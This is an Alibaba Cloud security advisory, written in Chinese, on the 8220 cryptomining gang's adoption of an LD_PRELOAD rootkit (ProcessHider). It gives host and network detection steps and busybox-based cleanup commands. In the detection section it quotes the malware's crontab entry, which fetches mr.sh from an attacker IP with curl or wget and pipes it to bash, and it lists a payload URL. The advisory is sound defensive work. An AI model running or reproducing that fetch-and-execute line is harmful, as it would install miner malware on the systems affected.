开发者社区> 云安全专家> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起

简介: 近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。
+关注继续查看

近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。

背景

阿里云安全团队蠕虫监控平台发现8220挖矿团伙的下载脚本出现更新,除了下载必要的驻留脚本、挖矿程序之外,新增加了一个 so文件的下载地址:http://107.174.47.156/1.so

8220挖矿团伙是一个长期活跃的利用多个漏洞进行攻击和部署挖矿程序的国内团伙[1-2],该团伙组合利用WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss 反序列化命令执行漏洞(CVE-2017-12149)等多个漏洞进行攻击并部署挖矿程序进行牟利。

通过对相关脚本和该so的简单分析,我们确认8220团伙已经在其攻击工具包使用ProcessHider[3]对自身进行隐藏。ProcessHider是被众多恶意软件广泛利用的rootkit。挖矿蠕虫利用该工具使管理员难以通过常规手段检测到挖矿进程,从而提高挖矿进程的存活时间以最大化挖矿收益。随着时间的推移,可能会有越来越多的挖矿蠕虫加入rootkit功能。

蠕虫检测

如果在云控制台看到明显的CPU 上升,机器整体性能卡顿,但是登录机器使用 PS/TOP 等命令却无法定位到具体占用CPU的进程,此时该机器就很可能已经感染此类使用 rootkit 进行隐藏的挖矿蠕虫。

1.主机检测

该蠕虫利用LD_PRELOAD机制,使得自身的so文件先于系统加载,并通过劫持 readdir函数,使依赖该 API 返回的PS/TOP等系统命令无法正确返回结果 。 因此用户使用这些受影响的系统命令将无法看到真实的进程。

_


如上图所示,该蠕虫隐藏的进程关键字是kworkerds。

在主机侧可以使用以下命令对蠕虫进行检测

查看动态链接库
#ldd /bin/top|grep usr
  /usr/local/lib/libkk.so (0x00007f0f94026000)
发现存在异常的so文件

查看 PRE_LOAD系统变量
#cat /etc/ld.so.preload 
  /usr/local/lib/libkk.so
发现preload文件被修改

查看 crontab
#crontab -l
  */30 * * * *  (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
发现crontab出现奇怪的定时任务

使用普通top 查看到的进程:

_


LD_PRELOAD依赖于动态链接过程,因此使用静态编译的busybox执行top命令,将可以看到真实的全部进程。

_

2.网络检测

随着对抗的不断升级,挖矿蠕虫的自我隐藏功能必将不断升级,而面对全副武装的蠕虫病毒,普通用户在主机侧与其进行强对抗成本极高并且收益较低。针对该类蠕虫通过网络侧的NTA(Network Traffic Analysis)功能进行检测更加有效。因为无论攻击者在主机侧采用了何种隐藏手法,但其远程下载、C&C通信、矿池通信等行为均会在网络流量中留下痕迹。

下图是在网络侧云防火墙通过检测到主机感染后下载后门文件的行为发现该蠕虫的记录。

_

修复方案

1.由于本地命令可能都已被劫持,因此首先下载静态编译的busybox来执行指令,保证执行的系统命令不受劫持影响。

下载二进制
#wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox
赋予执行权限
#chmod +x busybox

2.清理动态劫持

./busybox rm -f  /usr/local/lib/libkk.so 2>/dev/null
./busybox chattr -i /etc/ld.so.preload 2>/dev/null
./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null
./busybox rm -f /etc/ld.so.preload
./busybox touch /etc/ld.so.preload
./busybox chattr +i /etc/ld.so.preload
ldconfig

3.杀恶意进程和相关文件

./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep 'kworkerds' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9  2>/dev/null
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep '107.174.47.156' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9  2>/dev/null
./busybox rm -f /var/tmp/kworkerds
./busybox rm -f /var/tmp/sustse*

4.修复 crontab

./busybox chattr -i  /etc/cron.d/root  2>/dev/null
./busybox rm -f /etc/cron.d/root
./busybox chattr -i /etc/cron.d/apache  2>/dev/null
./busybox rm -f /var/spool/cron/apache
./busybox chattr -i /var/spool/cron/root  2>/dev/null
./busybox rm -f /var/spool/cron/root
./busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
./busybox rm -f /var/spool/cron/crontabs/root
./busybox rm -rf /var/spool/cron/crontabs
./busybox touch /var/spool/cron/root
./busybox chattr +i /var/spool/cron/root

5.再次修复下 crontab,回到第3步再次执行

6..修复完成和重启crontab

service crond start

REF:

1.疑似国内来源的“8220挖矿团伙”追踪溯源分析 [https://www.freebuf.com/column/179970.html]

2.“8220团伙”最新活动分析:挖矿木马与勒索病毒共舞 [https://www.freebuf.com/column/186467.html]

3.https://github.com/gianlucaborello/libprocesshider

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
PHP函数运用之:利用字符串函数来提取文件的扩展名
在之前的文章《PHP函数运用之:利用数组来输出文件的扩展名》中,我们介绍了两种利用数组来获取文件扩展名的方法。这次我们继续介绍获取文件扩展名的方法,看看利用字符串函数要怎么操作,感兴趣的朋友可以学习了解一下~ 首先我们回忆一下上文,从上文我们了解到一个完整的文件格式可分为三个部分:字符“.”之前的内容、字符“.”、字符“.”之后的内容。 这次我们还是要利用 字符“.”,通过它来获取文件扩展名!下面我们会给大家介绍3种利用字符串函数获取文件扩展名的方法。
75 0
信息流短视频时长多目标优化
背景       信息流短视频排序目前使用的是基于CTR预估Wide&Deep排序模型。在此基础上继续一系列优化,通过引入相关性信号、体感信号、多场景的样本融合、高层排序模型取得了不错收益。       信息流短视频模型优化可分为两部分优化: 感知相关性优化——点击模型以优化(CTR/CLICK为
6924 0
最简化搭建yum仓库
在使用rpm安装软件包时,时常会遇到一些软件依赖性问题,如果是简单的一两个依赖性还是可以手动解决。要是出现大量的依赖性问题的话会让增大工作量。yum是一个很好的前端程序,可解决软件包相关依赖性,可在多个库之间定位软件包,up2date的替代工具。
1073 0
【恢复】Redo日志文件丢失的恢复
第一章 Redo日志文件丢失的恢复 1.1  online redolog file 丢失 联机Redo日志是Oracle数据库中比较核心的文件,当Redo日志文件异常之后,数据库就无法正常启动,而且有丢失据的风险,强烈建议在条件允许的情况下,对Redo日志进行多路镜像。
2021 0
快速地从Redhat系转Ubuntu系
ubuntu官网的,https://help.ubuntu.com/community/SwitchingToUbuntu/FromLinux/RedHatEnterpriseLinuxAndFedora 省得自己去总结了,直接贴过来,备用。
890 0
Redhat和ubuntu的区别
  风大神给了我一个完全基于 Linux 的操作系统ubuntu(乌班图)(是一个以桌面应用为主的Linux操作系统),当然作为linux,服务器应用都不会弱。,说是这个好用,可飞凌上资料用的居然是redhat,,这个让我好纠结啊,电脑上已经安装了ubuntu了,不知道这两个操作系统的区别,还是去了解一下吧。
1032 0
+关注
云安全专家
阿里云安全
文章
问答
来源圈子
更多
让上云更放心,让云上更安全。
+ 订阅
文章排行榜
最热
最新
相关电子书
更多
《2018年云上挖矿态势分析报告》
立即下载
基于社交网络的大规模网络攻击自动对抗技术
立即下载
威胁情报在网络犯罪侦查中的落地应用
立即下载